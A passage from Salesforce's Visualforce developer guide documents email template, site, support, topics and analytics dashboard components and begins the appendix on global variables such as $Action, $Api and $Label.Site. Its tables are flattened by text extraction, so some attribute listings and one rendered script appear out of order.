"https://na1.salesforce.com/{!cx.id}" >{!cx.CaseNumber}
</a > </td >
<td >{!cx.Origin} </td >
<td >{!cx.Contact.email} </td >
<td >{!cx.Status} </td >
</tr >
</apex:repeat >
</table >
<p/ >
<center >
<apex:outputLink value= "http://www.salesforce.com" >
For more detailed information login to Salesforce.com
</apex:outputLink >
</center >
</body >
</html >
</messaging:htmlEmailBody >
</messaging:emailTemplate > messaging:htmlEmailBody
589
Standard Component Reference messaging:plainTextEmailBody
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the htmlEmailBody component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
14.0
global
messaging:plainTextEmailBody
The plain text (non-HTML) version of the email body.
Example
<messaging:emailTemplate recipientType= "Contact" relatedToType= "Account" subject= "Case report for Account: {!relatedTo.name}" replyTo= "[email protected]" >
<messaging:plainTextEmailBody >
Dear {!recipient.name},
Below is a list of cases related to {!relatedTo.name}.
<apex:repeat var= "cx" value= "{!relatedTo.Cases}" >
Case Number: {!cx.CaseNumber}
Origin: {!cx.Origin}
Contact-email: {!cx.Contact.email}
Status: {!cx.Status}
</apex:repeat >
For more detailed information login to Salesforce.com
</messaging:plainTextEmailBody >
</messaging:emailTemplate >
Attributes
Attribute Name Attribute Type
id
String
Description
An identifier that allows the plainTextEmailBody component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
590
Standard Component Reference site:googleAnalyticsTracking
Attribute Name Attribute Type
rendered
Boolean
Description
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
site:googleAnalyticsTracking
The standard component used to integrate Google Analytics with Force.com sites to track and analyze site usage. Add this component just once, either on the site template for the pages you want to track, or the individual pages themselves. Don't set the component for both the template and the page. Attention: This component only works on pages used in a Force.com site. Sites must be enabled for your organization and the Analytics Tracking Code field must be populated. To get a tracking code, go to the Google Analytics website.
Example
<!-- Google Analytics recommends adding the component at the bottom of the page to avoid increasing page load time. -->
<site:googleAnalyticsTracking/ >
The example above renders the following HTML:
<script type= "text/javascript" > var gaJsHost = (( "https:" == document.location.protocol) ?
"https://ssl." : "http://www." ); document.write(unescape( "%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E" ));
</script >
<script > try { var pageTracker = _gat._getTracker( "{!$Site.AnalyticsTrackingCode}" );
} if ({!isCustomWebAddressNull}) { pageTracker._setCookiePath( "{!$Site.Prefix}/" ); else if ({!isCustomWebAddress}) { pageTracker._setAllowLinker(true);
} pageTracker._setAllowHash(false); else { pageTracker._setDomainName( "none" ); pageTracker._setAllowLinker(true); pageTracker._setAllowHash(false);
} pageTracker._trackPageview();
}
591
Standard Component Reference site:previewAsAdmin catch (err) {
}
</script >
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
14.0
global
site:previewAsAdmin
This component shows detailed error messages on a site in administrator preview mode. We recommend that you add it right before the closing apex:page tag. Note: The site:previewAsAdmin component contains the apex:messages tag, so if you have that tag elsewhere on your error pages, you will see the error message twice.
Example
<!-- We recommend adding this component right before your closing apex:page tag. -->
<site:previewAsAdmin/ >
The example above renders the following HTML:
<span id= "j_id0:j_id50" >
<span id= "j_id0:j_id50:j_id51:j_id52" >
<div style= "border-color:#FF9900; border-style:solid; border-width:1px; padding:5px 0px 5px 6px; background-color:#FFFFCC; font-size:10pt; margin-right:210px; margin-left:210px; margin-top:25px; ">
<table cellpadding= "0" cellspacing= "0" >
<tbody > <tr >
<td > <img src= "/img/sites/warning.png" height= "40" style= "padding:5px;margin:0px;" width= "40" /> </td >
<td > <strong > <ul id= "j_id0:j_id50:j_id51:msgs3" style= "margin:5px;" > <li >Page not found:test </li > </ul >
</strong >
<a href= "/sites/servlet.SiteDebugMode?logout=1" style= "padding:40px;margin:15px;" >Logout of Administrator Preview Mode </a >
</td >
</tr > </tbody >
</table >
</div >
592
Standard Component Reference social:profileViewer
</span >
</span >
Attributes
Attribute Name Attribute Type
id rendered
String
Boolean
Description
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
social:profileViewer
UI component that adds the Social Accounts and Contacts viewer to Account (including person account), Contact, or Lead detail pages.
The viewer displays the record name, a profile picture, and the social network icons that allow users to sign in to their accounts and view social data directly in Salesforce.
Social Accounts and Contacts must be enabled for your organization. Note that this component is only supported for Account, Contact, and Lead objects and can only be used once on a page. This component isn't available for Visualforce pages on Force.com sites.
This example displays the Social Accounts and Contacts viewer for a contact.
<apex:page standardController= "Contact" >
<social:profileViewer entityId= "{!contact.id}" />
</apex:page >
Attributes
Attribute Name Attribute Type
entityId id id
String
Description
Entity ID of the record for which to display the Social Accounts and Contacts viewer; for example, Contact.Id.
Required?
API
Version
Access
Yes 24.0
An identifier that allows the component to be referenced by other components in the page.
14.0
global
593
Standard Component Reference support:caseArticles
Attribute Name Attribute Type
rendered
Boolean
Description
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
support:caseArticles
Displays the case articles tool. The tool can show articles currently attached to the Case and/or an article Keyword search. This component can only be used in organizations that have Case Feed and Knowledge enabled. Ext JS versions less than 3 should not be included on pages that use this component.
This example displays the case articles tool.
<apex:page standardController= "Case" showHeader= "true" >
<support:caseArticles id= "myCaseArticle" caseId= "{!case.id}" title= "Article Widget" width= "500px" bodyHeight= "200px" mode= "attachedAndSearch" defaultSearchType= "lastPublished" defaultKeywords= "reset issue" titlebarStyle= "expanded"
/>
</apex:page >
Attributes
Attribute Name Attribute Type
articleTypes attachToEmailEnabled bodyHeight caseId categories
String
Boolean
String id
String
Description Required?
API
Version
Access
25.0
Article types to be used to filter the search. Multiple article types can be defined, separated by commas.
A Boolean value that specifies whether articles can be attached to emails.
The height of the body in pixels (px) or 'auto' to automatically adjust to the height of the currently displayed list of articles.
Case ID of the record for which to display the case articles.
Yes
Data categories to be used to filter the search. The format of this value should be: 'CatgeoryGroup1:Category1' where
25.0
25.0
25.0
25.0
594
Standard Component Reference support:caseArticles
Attribute Name Attribute Type
categoryMappingEnabled defaultKeywords defaultSearchType id insertLinkToEmail language logSearch mode onSearchComplete rendered reRender searchButtonName searchFieldWidth searchFunctionName
Boolean
String
String
String
Boolean
String
Boolean
String
String
Boolean
Object
String
String
String
Description
CategoryGroup1 and Category1 are the names of a Category
Group and a Category respectively. Multiple category filters can be specified separated by commas but only one per category group.
A Boolean value that specifies whether the default data category mapping pre-filtering should be taken into account or not .
The keywords to be used when the defaultSearchType attribute is 'keyword'. If no keywords are specified, the Case subject is used as a default.
Specifies the default query of the article search form when it is first displayed. The value can be 'keyword', 'mostViewed', or 'lastPublished'.
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether articles can be shared by URL.
A language to be used for filtering the search if multilingual
Knowledge is enabled.
A Boolean value that specifies whether keyword searches should be logged.
Specifies whether the component displays articles currently attached to the case, an article search form, or both. The value can be 'attached', 'search', 'attachedAndSearch', or
'searchAndAttached'.
The JavaScript invoked after an article search has completed.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the result of the action method returns to the client. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
The display name of the search button.
The width of the keyword search field in pixels (px).
The name of a function that can be called from JavaScript to search for articles if the widget is currently in search mode.
Required?
API
Version
Access
25.0
25.0
25.0
14.0
25.0
25.0
25.0
25.0
25.0
14.0
25.0
25.0
25.0
25.0
global global
595
Standard Component Reference support:caseFeed
Attribute Name Attribute Type
showAdvancedSearch title
String titlebarStyle
String width
Boolean
String
Description
A Boolean value that specifies whether the advanced search link should be displayed.
Required?
API
Version
Access
25.0
The title displayed in the component's header.
The style of the title bar can be 'expanded', 'collapsed', 'fixed', or 'none'.
The width of the component in pixels (px) or percentage (%).
25.0
25.0
25.0
support:caseFeed
The Case Feed component includes all of the elements of the standard Case Feed page, including the publishers (Email , Portal, Log a
Call, and Internal Note), case activity feed, feed filters, and highlights panel. This component can only be used in organizations that have
Case Feed enabled.
This example displays the Case Feed component.
<apex:page standardController= "Case" showHeader= "true" >
<support:caseFeed id= "myCaseFeed" caseId= "{!case.id}" />
</apex:page >
Attributes
Attribute Name Attribute Type
caseId id rendered id
String
Boolean
Description
Case ID of the record for which to display the Case Feed.
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
Yes 26.0
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
support:caseUnifiedFiles
Displays the Files component.
596
Standard Component Reference support:clickToDial
Attributes
Attribute Name Attribute Type
entityId id rendered
String
String
Boolean
Description
Entity ID of the record for which to display the milestones.
An identifier that allows the component to be referenced by other components in the page.
Required?
API
Version
Access
Yes 31.0
14.0
global
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
global
support:clickToDial
A component that renders a valid phone number as click-to-dial enabled for Open CTI or Salesforce CRM Call Center. This field respects any existing click-to-dial commands for computer-telephony integrations (CTI) with Salesforce. Note that this component does not work with embedded Visualforce pages within standard page layouts. Also, if you create a Visualforce page with a custom console component, you must set the showHeader attribute to true. If this attribute is set to false, click-to-dial is disabled.
This example displays the click to dial component.
<apex:page standardController= "Account" showHeader= "true" >
<support:clickToDial number= "415-555-1234" entityId= "001XB000000HFUM" params= "myparam1,myparam2"
/>
</apex:page >
Attributes
Attribute Name Attribute Type
entityId id number params
String
String
String
String
Description
The entity ID of the record from which to invoke click-to-dial.
Required?
API
Version
Access
28.0
14.0
global An identifier that allows the component to be referenced by other components in the page.
The phone number that invokes click-to-dial functionality.
Yes
Optional parameters related to when click-to-dial is invoked, such as any case or account parameters.
28.0
28.0
597
Standard Component Reference support:portalPublisher
Attribute Name Attribute Type
rendered
Boolean
Description
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
Required?
API
Version
Access
14.0
global
support:portalPublisher
The Portal publisher lets support agents who use Case Feed compose and post portal messages. This component can only be used in organizations that have Case Feed enabled.
This example displays the Portal publisher.
<apex:page standardController= "Case" showHeader= "true" >
<support:portalPublisher id= "myPortalPublisher" entityId= "{!case.id}" answerBodyHeight= "10em" width= "500px" answerBody= "This is the default Answer" autoCollapseBody= "false" showSendEmailOption= "false"
/>
</apex:page >
Attributes
Attribute Name Attribute Type
answerBody entityId id onSubmitFailure
String answerBodyHeight
String autoCollapseBody
Boolean id
String
String
Description
The default text value of the answer body.
The height of the answer body in ems (em).
A Boolean value that specifies whether the answer body will be collapsed to a small height when it is empty.
Entity ID of the record for which to display the portal publisher.
In the current version, only Case record ids are supported.
Yes
Required?
API
Version
Access
25.0
25.0
25.0
25.0
An identifier that allows the component to be referenced by other components in the page.
The JavaScript invoked if the answer failed to be published to the portal.
14.0
25.0
global
598
Standard Component Reference topics:widget
Attribute Name Attribute Type
onSubmitSuccess rendered reRender showSendEmailOption showSubmitButton submitButtonName submitFunctionName title width
String
Boolean
Object
Boolean
Boolean
String
String
String
String
Description
The JavaScript invoked if the answer was successfully published to the portal.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
The ID of one or more components that are redrawn when the answer was successfully published. This value can be a single ID, a comma-separated list of IDs, or a merge field expression for a list or collection of IDs.
A Boolean value that specifies whether the option to send email notification should be displayed.
A Boolean value that specifies whether the submit button should be displayed.
The name of the submit button in the portal publisher.
Required?
API
Version
Access
25.0
14.0
25.0
25.0
25.0
25.0
25.0
global
The name of a function that can be called from JavaScript to publish the answer.
The title displayed in the portal publisher header.
The width of the portal publisher in pixels (px) or percentage
(%).
25.0
25.0
topics:widget
UI component that displays topics assigned to a record and allows users to add and remove topics. The UI component is available only if topics is enabled for the object.
This example displays the topic editor widget for an entity.
<apex:page >
<topics:widget entity= "0D5x00000009Fhc" customUrl= "http://mywebsite/TopicViewTestPage?topicId=" />
</apex:page >
599
Standard Component Reference wave:dashboard
Attributes
Attribute Name Attribute Type
customUrl entity hideSuccessMessage id rendered renderStyle string string
Boolean
String
Boolean string
Description Required?
API
Version
Access
29.0
The custom URL to a topic page. Salesforce adds the topicId to the end of the URL provided.
Entity ID of the record for which to display the feed; for example, Contact.Id
Yes 29.0
29.0
Hide the success message that appears when done assigning topics. Defaults to false.
An identifier that allows the component to be referenced by other components in the page.
A Boolean value that specifies whether the component is rendered on the page. If not specified, this value defaults to true.
14.0
14.0
global global
The style in which the topics widget is rendered. Acceptable values are simple and enhanced.
29.0
wave:dashboard
Use this component to add a Salesforce Analytics Cloud dashboard to a Visualforce page.
Attributes
Attribute Name Attribute Type
body dashboardId developerName filter
Component[]
String
String
String
Description
The body of the component. In markup, this is everything in the body of the tag.
The unique ID of the dashboard. You can get a dashboard’s
ID from its URL in Salesforce or request it through the API.
This attribute can be used instead of the developer name, but it can't be included if the name has been set. One of the two is required.
Required?
API
Version
Access
34.0
global
34.0
global
34.0
global The unique developer name of the dashboard. You can request the developer name through the API. This attribute can be used instead of the dashboard ID, but it can't be included if the ID has been set. One of the two is required.
Adds filters to the dashboard at runtime. You can filter dataset fields by specified values. The filters are specified with JSON
34.0
global
600
Standard Component Reference wave:dashboard
Attribute Name Attribute Type
height hideOnError openLinksInNewWindow rendered showTitle width
String
Boolean
Boolean
Boolean
Boolean
String
Description
strings in the same format as the detail page UI JSON, for example:
{
'datasetDeveloperName1' : { 'field1' :
[ 'value' ]},
'datasetDeveloperName2' : { 'field1' :
[ 'value1' , 'value2' ], 'field2' :
[ 'value3' ]}
}
Specifies the height of the dashboard, in pixels.
Controls whether or not users see a dashboard that has an error. When this attribute is set to true, if the dashboard has an error, it won’t appear on the page. When set to false, the dashboard appears but doesn’t show any data except the error. An error can occur when a user doesn't have access to the dashboard or it has been deleted.
If false, links to other dashboards will be opened in the same window.
Specifies whether or not the component is rendered on the page.
If true, the dashboard’s title is included above the dashboard.
If false, the dashboard appears without a title.
Specifies the width of the dashboard, in pixels or percent.
Pixel values are simply the number of pixels, for example, 500.
Percentage values specify the width of the containing HTML element and must include the percent sign, for example, 20%.
Required?
API
Version
Access
34.0
34.0
34.0
34.0
34.0
34.0
global global global global global global
601
APPENDICES
APPENDIX A Global Variables, Functions, and Expression
Operators
Visualforce pages use the same expression language as formulas—that is, anything inside
{! }
is evaluated as an expression that can access values from records that are currently in context.
This appendix provides an overview of the variables, functions, and operators that can be used in Visualforce expressions.
IN THIS SECTION:
Use global variables to reference general information about the current user and your organization on a page.
Use functions to transform data from records, perform calculations, or to provide values for Visualforce attributes.
Use operators to join expressions together to create compound expressions.
Global Variables
Use global variables to reference general information about the current user and your organization on a page.
Global variables must be referenced using Visualforce expression syntax to be evaluated, for example,
{!$User.FirstName}
.
IN THIS SECTION:
A global merge field type to use when referencing standard Salesforce actions such as displaying the Accounts tab home page, creating new accounts, editing accounts, and deleting accounts.
A global merge field type to use when referencing API URLs.
A global merge field to access an org’s session cache from a Visualforce page. Retrieve cached values from a specified partition’s session cache in the referenced org.
A global merge field type to use when referencing a Visualforce component.
A global merge field to use when referencing the label of an inputField
component on a Visualforce page that is associated with a message.
602
Global Variables, Functions, and Expression Operators Global Variables
A global merge field type to use when referencing the current Visualforce page or page request.
Provides access to a field set defined in your organization.
A global merge field type to use when referencing a custom label.
A global merge field type to use when referencing a standard Sites label in a Visualforce page. Like all standard labels, the text will display based on the user’s language and locale.
A global merge field type to use when referencing community details in a Visualforce email template.
A global merge field type to use when referencing standard or custom objects (such as Accounts, Cases, or Opportunities) and the values of their fields.
A global merge field type to use when referencing information about your company profile. Use organization merge fields to reference your organization’s city, fax, ID, or other details.
A global merge field type to use when referencing a Visualforce page.
A global merge field type to use when referencing information about the current user’s custom permission access. Use permission merge fields to reference information about the user’s current access to any of your organization’s custom permissions.
A global merge field type to use when referencing information about the current user’s profile. Use profile merge fields to reference information about the user’s profile such as license type or name.
A global merge field type to use when referencing an existing static resource by name in a Visualforce page. You can also use resource merge fields in
URLFOR
functions to reference a particular file in a static resource archive.
A global merge field type to use when referencing an existing custom s-control by name. This merge field type results in a URL to a page where the s-control executes.
A global merge field type to use when referencing a custom setting of type “hierarchy.”
A global merge field type to use when referencing information about the current Force.com site.
A global merge field that represents the literal value of 1900-01-01 00:00:00.
A global merge field type to use when referencing information about the current user. User merge fields can reference information about the user such as alias, title, and ID. Most of the fields available on the User standard object are also available on $User.
$User.UITheme and $User.UIThemeDisplayed
These global merge fields identify the Salesforce look and feel a user sees on a given Web page.
603
Global Variables, Functions, and Expression Operators
A global merge field type to use when referencing information about the current user’s role. Role merge fields can reference information such as role name, description, and ID.
$Action
$Action
A global merge field type to use when referencing standard Salesforce actions such as displaying the Accounts tab home page, creating new accounts, editing accounts, and deleting accounts.
Usage
Use dot notation to specify an object and an action, for example,
$Action.Account.New
Example
The following markup adds a link to create a new account:
<apex:outputLink value= "{!URLFOR($Action.Account.New)}" >
Create New Account
</apex:outputLink >
The following markup adds a link to download an attachment:
<apex:page standardController= "Attachment" >
<apex:outputLink value= "{!URLFOR($Action.Attachment.Download, attachment.id)} ">
Download Now!
</apex:outputLink >
</apex:page >
IN THIS SECTION:
Valid Values for the $Action Global Variable
SEE ALSO:
Dynamic References to Action Methods Using $Action
Valid Values for the
$Action
Global Variable
The following table lists the actions you can reference with the
$Action
global variable and the objects on which you can perform those actions.
Value
Accept
Description
Accept a record.
Objects
•
Ad group
•
Case
•
Event
•
Google campaign
604
Global Variables, Functions, and Expression Operators
Activate
Add
AddCampaign
AddInfluence
AddProduct
AddToCampaign
AddToOutlook
AdvancedSetup
AltavistaNews
Cancel
CaseSelect
ChangeOwner
ChangeStatus
ChoosePricebook
Activate a contract.
Add a product to a price book.
Add a member to a campaign.
Add a campaign to an opportunity's list of influential campaigns.
Add a product to price book.
Add a contact or lead to a campaign.
Add an event to Microsoft Outlook.
Launch campaign advanced setup.
Launch www.altavista.com/news/
.
Cancel an event.
Specify a case for a solution.
Change the owner of a record.
Change the status of a case.
Choose the price book to use.
•
Keyword
•
Lead
•
Search phrase
•
SFGA version
•
Text ad
Contract
Product2
Campaign
Opportunity
OpportunityLineItem
•
Contact
•
Lead
Event
Campaign
•
Account
•
Lead
Event
Solution
•
Account
•
Ad group
•
Campaign
•
Contact
•
Contract
•
Google campaign
•
Keyword
•
Opportunities
•
Search phrase
•
SFGA version
•
Text ad
•
Case
•
Lead
OpportunityLineItem
$Action
605
Global Variables, Functions, and Expression Operators
Clone
CloneAsChild
CloseCase
Convert
ConvertLead
Create_Opportunity
Decline
Delete
Clone a record.
Create a related case with the details of a parent case.
Close a case.
Create a new account, contact, and opportunity using the information from a lead.
Convert a lead to a campaign member.
Create an opportunity based on a campaign member.
Decline an event.
Delete a record.
•
Ad group
•
Asset
•
Campaign
•
Campaign member
•
Case
•
Contact
•
Contract
•
Event
•
Google campaign
•
Keyword
•
Lead
•
Opportunity
•
Product
•
Search phrase
•
SFGA version
•
Text ad
•
Custom objects
Case
Case
Lead
Campaign Member
Campaign Member
Event
•
Ad group
•
Asset
•
Campaign
•
Campaign member
•
Case
•
Contact
•
Contract
•
Event
•
Google campaign
•
Keyword
•
Lead
•
Opportunity
•
Opportunity product
$Action
606
Global Variables, Functions, and Expression Operators
DeleteSeries Delete a series of events or tasks.
DisableCustomerPortal
DisableCustomerPortalAccount
DisablePartnerPortal
DisablePartnerPortalAccount
Download
Disable a Customer Portal user.
Disable a Customer Portal account.
Disable a Partner Portal user.
Disable a Partner Portal account.
Download an attachment.
Edit Edit a record.
•
Product
•
Search phrase
•
SFGA version
•
Solution
•
Task
•
Text ad
•
Custom objects
•
Event
•
Task
Contact
Account
Contact
Account
•
Attachment
•
Document
•
Ad group
•
Asset
•
Campaign
•
Campaign member
•
Case
•
Contact
•
Contract
•
Event
•
Google campaign
•
Keyword
•
Lead
•
Opportunity
•
Opportunity product
•
Product
•
Search phrase
•
SFGA version
•
Solution
•
Task
•
Text ad
•
Custom objects
$Action
607
Global Variables, Functions, and Expression Operators
EditAllProduct
EnableAsPartner
EnablePartnerPortalUser
EnableSelfService
FindDup
FollowupEvent
FollowupTask
HooversProfile
Edit all products in a price book.
Designate an account as a partner account.
Enable a contact as a Partner Portal user.
Enable a contact as a Self-Service user.
Display duplicate leads.
Create a follow-up event.
Create a follow-up task.
Display a Hoovers profile.
IncludeOffline
GoogleMaps
Include an account record in Connect Offline.
Plot an address on Google Maps.
GoogleNews
GoogleSearch
List
Display www.google.com/news
.
Display www.google.com
.
List records of an object.
OpportunityLineItem
Account
Contact
Contact
Lead
Event
Event
•
Account
•
Lead
Account
•
Account
•
Contact
•
Lead
•
Account
•
Contact
•
Lead
•
Account
•
Contact
•
Lead
•
Ad group
•
Campaign
•
Case
•
Contact
•
Contract
•
Google campaign
•
Keyword
•
Lead
•
Opportunity
•
Product
•
Search phrase
•
SFGA version
•
Solution
•
Text ad
•
Custom objects
608
$Action
Global Variables, Functions, and Expression Operators
LogCall
MailMerge
ManageMembers
MassClose
Merge
New
Log a call.
Generate a mail merge.
Launch the Manage Members page.
Close multiple cases.
Merge contacts.
Create a new record.
NewTask
RequestUpdate
SelfServSelect
SendEmail
SendGmail
Sort
Share
Create a task.
Request an update.
Register a user as a Self Service user.
Send an email.
Open a blank email in Gmail.
Sort products in a price book.
Share a record.
609
Activity
Activity
Campaign
Case
Contact
•
Activity
•
Ad group
•
Asset
•
Campaign
•
Case
•
Contact
•
Contract
•
Event
•
Google campaign
•
Keyword
•
Lead
•
Opportunity
•
Search phrase
•
SFGA version
•
Solution
•
Task
•
Text ad
•
Custom objects
Task
•
Contact
•
Activity
Solution
Activity
•
Contact
•
Lead
OpportunityLineItem
•
Account
•
Ad group
•
Campaign
$Action
Global Variables, Functions, and Expression Operators
Submit for Approval Submit a record for approval.
Tab Access the tab for an object.
•
Case
•
Contact
•
Contract
•
Google campaign
•
Keyword
•
Lead
•
Opportunity
•
Search phrase
•
SFGA version
•
Text ad
•
Account
•
Activity
•
Ad group
•
Asset
•
Campaign
•
Campaign member
•
Case
•
Contact
•
Contract
•
Event
•
Google campaign
•
Keyword
•
Lead
•
Opportunity
•
Opportunity product
•
Product
•
Search phrase
•
SFGA version
•
Solution
•
Task
•
Text ad
•
Ad group
•
Campaign
•
Case
•
Contact
•
Contract
•
Google campaign
•
Keyword
$Action
610
Global Variables, Functions, and Expression Operators
View
ViewAllCampaignMembers
ViewCampaignInfluenceReport
ViewPartnerPortalUser
ViewSelfService
YahooMaps
YahooWeather
•
Lead
•
Opportunity
•
Product
•
Search phrase
•
SFGA version
•
Solution
•
Text ad
View a record.
•
Activity
•
Ad group
•
Asset
•
Campaign
•
Campaign member
•
Case
•
Contact
•
Contract
•
Event
•
Google campaign
•
Keyword
•
Lead
•
Opportunity
•
Opportunity product
•
Product
•
Search phrase
•
SFGA version
•
Solution
•
Text ad
•
Custom objects
List all campaign members.
List all Self-Service users.
Plot an address on Yahoo! Maps.
Campaign
Display the Campaigns with Influenced Opportunities report.
Campaign
List all Partner Portal users.
Contact
Contact
•
Account
•
Contact
•
Lead
Display http://weather.yahoo.com/
.
Contact
$Action
611
Global Variables, Functions, and Expression Operators
$Api
A global merge field type to use when referencing API URLs.
Usage
Use dot notation to specify an API URL from either the Enterprise or Partner WSDL, or to return the session ID.
Important:
$Api.Session_ID
and
GETSESSIONID()
return the same value, an identifier for the current session in the current context. This context varies depending on where the global variable or function is evaluated. For example, if you use either in a custom formula field, and that field is displayed on a standard page layout in Salesforce Classic, the referenced session will be a basic Salesforce session. That same field (or the underlying variable or formula result), when used in a Visualforce page, references a Visualforce session instead.
Session contexts are based on the domain of the request. That is, the session context changes whenever you cross a hostname boundary, such as from
.salesforce.com
to
.visual.force.com
or
.lightning.force.com
.
Session identifiers from different contexts, and the sessions themselves, are different. When you transition between contexts, the old session is replaced by the new one, and the old session is no longer valid. The session ID also changes at this time.
Normally Salesforce transparently handles session hand-off between contexts, but if you’re passing the session ID around yourself, be aware that you might need to re-access
$Api.Session_ID
or
GETSESSIONID()
from the new context to ensure a valid session ID.
Note also that not all sessions are created equal. In particular, sessions obtained in a Lightning Experience context have reduced privileges, and don't have API access. You can't use these session IDs to make API calls.
Example
•
{!$Api.Enterprise_Server_URL__
xxx}
: The Enterprise WSDL SOAP endpoint where
xxx
represents the version of the API. For example,
{!$Api.Enterprise_Server_URL_260}
is the expression for the endpoint for version 26.0 of the
API.
•
{!$Api.Partner_Server_URL__
xxx}
: The Partner WSDL SOAP endpoint where
xxx
represents the version of the API.
{!$Api.Partner_Server_URL_250}
is the expression for the endpoint for version 25.0 of the API.
•
{!$Api.Session_ID}
: The session ID.
$Cache.Session
A global merge field to access an org’s session cache from a Visualforce page. Retrieve cached values from a specified partition’s session cache in the referenced org.
Usage
Use
{!$Cache.Session}
to reference an existing session cache. (A session cache consists of cached data that can be reused from one session to the next.) Use dot notation to specify the home partition or properties of a cached value.
$Api
612
Global Variables, Functions, and Expression Operators $Component
Examples
This is an output text component that retrieves a cached value from the default partition with the key output
.
<apex:outputText value= "{!$Cache.Session.output}" />
<!-- If the organization has a namespace ns1, use the following. -->
<apex:outputText value= "{!$Cache.Session.ns1.default.output}" />
If the cached value is a data structure that has properties or methods, like an Apex List or a custom class, those properties can be accessed with
$Cache.Session
by using dot notation. For example, this markup invokes the
List.size()
Apex method if the value of numbersList
is declared as a
List
.
<apex:outputText value= "{!$Cache.Session.local.default.numbersList.size}" />
SEE ALSO:
Session Class
$Component
A global merge field type to use when referencing a Visualforce component.
Usage
Each component in a Visualforce page has its own
Id
attribute. When the page is rendered, this attribute is used to generate the
Document Object Model (DOM) ID. Use
$Component.
Path.to.Id
in JavaScript to reference a specific component on a page, where
Path.to.Id
is a component hierarchy specifier for the component being referenced.
Example
The following JavaScript method references a component named msgpost
in a Visualforce page: function beforeTextSave() { document.getElementById( '{!$Component.msgpost}' ).value = myEditor.getEditorHTML();
}
The page markup that follows shows the
<apex:outputText >
component to which msgpost
refers:
<apex:page >
<apex:outputText id= "msgpost" value= "Emacs" /> is great.
</apex:page >
If your component is nested, you might need to use a more complete component path specifier. For example, if your page looks like this:
<apex:page >
<apex:pageBlock id= "theBlock" >
<apex:pageBlockSection id= "theSection" columns= "1" >
<apex:pageBlockSectionItem id= "theSectionItem" >
<apex:outputText id= "theText" >
Heya!
</apex:outputText >
</apex:pageBlockSectionItem >
613
Global Variables, Functions, and Expression Operators $ComponentLabel
</apex:pageBlockSection >
</apex:pageBlock >
</apex:page >
Then you can refer to the component in a function like this: document.getElementById(
"{!$Component.theBlock.theSection.theSectionItem.theText}" )
SEE ALSO:
Using $Component to Reference Components from JavaScript
Best Practices for Accessing Component IDs
$ComponentLabel
A global merge field to use when referencing the label of an inputField
component on a Visualforce page that is associated with a message.
Usage
Return the label of an inputField
component that is associated with a message.
Example
<apex:datalist var= "mess" value= "{!messages}" >
<apex:outputText value= "{!mess.componentLabel}:" style= "color:red" />
<apex:outputText value= "{!mess.detail}" style= "color:black" />
</apex:datalist >
$CurrentPage
A global merge field type to use when referencing the current Visualforce page or page request.
Usage
Use this global variable in a Visualforce page to reference the current page name (
$CurrentPage.Name
) or the URL of the current page (
$CurrentPage.URL)
. Use
$CurrentPage.parameters.
parameterName
to reference page request parameters and values, where
parameterName
is the request parameter being referenced.
Example
<apex:page standardController= "Account" >
<apex:pageBlock title= "Hello {!$User.FirstName}!" >
You belong to the {!account.name} account.
<br/ >
You 're also a nice person.
</apex:pageBlock >
<apex:detail subject= "{!account}" relatedList= "false" />
<apex:relatedList list= "OpenActivities"
614
Global Variables, Functions, and Expression Operators $FieldSet subject= "
{!$CurrentPage.parameters.relatedId}
"/>
</apex:page >
$FieldSet
Provides access to a field set defined in your organization.
Usage
Use this in your Visualforce pages to dynamically iterate over fields in a field set. You must prefix this global variable with a reference to the standard or custom object that has the field set.
Example
<apex:page standardController= "Account" >
<apex:repeat value= "{!$Account.FieldSet.mySpecialFields}" var= "field" >
<apex:outputText value= "{!field}" />
</apex:repeat >
</apex:page >
$Label
A global merge field type to use when referencing a custom label.
Usage
Use this expression in a Visualforce page to access a custom label. The returned value depends on the language setting of the contextual user. The value returned is one of the following, in order of precedence:
1. The local translation’s text
2. The packaged translation’s text
3. The master label’s text
Example
<apex:page >
<apex:pageMessage severity= "info" strength= "1" summary= "{!$Label.firstrun_helptext}"
/>
</apex:page >
$Label.Site
A global merge field type to use when referencing a standard Sites label in a Visualforce page. Like all standard labels, the text will display based on the user’s language and locale.
615
Global Variables, Functions, and Expression Operators $Label.Site
Label
authorization_required bandwidth_limit_exceeded change_password change_your_password click_forget_password community_nickname confirm_password down_for_maintenance email email_us enter_password error error2 file_not_found forgot_password forgot_password_confirmation forgot_your_password_q get_in_touch go_to_login_page img_path in_maintenance limit_exceeded login login_button login_or_register_first logout new_password
Usage
Use this expression in a Visualforce page to access a standard Sites label. When the application server constructs the page to be presented to the end-user’s browser, the value returned depends on the language and locale of the user.
Salesforce provides the following labels:
Message
Authorization Required
Bandwidth Limit Exceeded
Change Password
Change Your Password
If you have forgotten your password, click Forgot Password to reset it.
Nickname
Confirm Password
<i>{0}</i> is down for maintenance
Email email us
Did you forget your password? Please enter your username below.
Error: {0}
Error
File Not Found
Forgot Password
Forgot Password Confirmation
Forgot Your Password?
Please <a href="{0}">{1}</a> if you need to get in touch.
Go to Login Page
/img/sites
Down For Maintenance
Limit Exceeded
Login
Login
You must first log in or register before accessing this page.
Logout
New Password
616
Global Variables, Functions, and Expression Operators $Network
Label
